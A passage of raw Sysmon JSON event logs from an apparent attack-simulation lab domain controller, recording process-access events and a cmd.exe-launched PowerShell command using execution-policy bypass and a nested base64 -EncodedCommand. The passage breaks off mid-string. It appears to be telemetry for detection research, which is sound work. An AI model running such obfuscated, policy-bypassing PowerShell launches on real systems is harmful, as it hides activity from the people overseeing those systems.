11:56:33.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5640,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5641,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.806\r\nSourceProcessGUID: {90617006-4171-5F2D-0000-0010F97D0800}\r\nSourceProcessId: 3292\r\nSourceThreadId: 4700\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4171-5F2D-0000-00103D800800}\r\nTargetProcessId: 4648\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.806","SourceProcessGUID":"{90617006-4171-5F2D-0000-0010F97D0800}","SourceProcessId":"3292","SourceThreadId":"4700","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4171-5F2D-0000-00103D800800}","TargetProcessId":"4648","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5642,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.815\r\nProcessGuid: {90617006-4171-5F2D-0000-0010F6800800}\r\nProcessId: 4584\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nFileVersion: 10.0.14393.206 (rs1_release.160915-0644)\r\nDescription: Windows PowerShell\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: PowerShell.EXE\r\nCommandLine: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-4171-5F2D-0000-0020327D0800}\r\nLogonId: 0x87D32\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453\r\nParentProcessGuid: {90617006-4171-5F2D-0000-00103D800800}\r\nParentProcessId: 4648\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.815","ProcessGuid":"{90617006-4171-5F2D-0000-0010F6800800}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","FileVersion":"10.0.14393.206 (rs1_release.160915-0644)","Description":"Windows PowerShell","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"PowerShell.EXE","CommandLine":"PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-4171-5F2D-0000-0020327D0800}","LogonId":"0x87d32","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453","ParentProcessGuid":"{90617006-4171-5F2D-0000-00103D800800}","ParentProcessId":"4648","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARw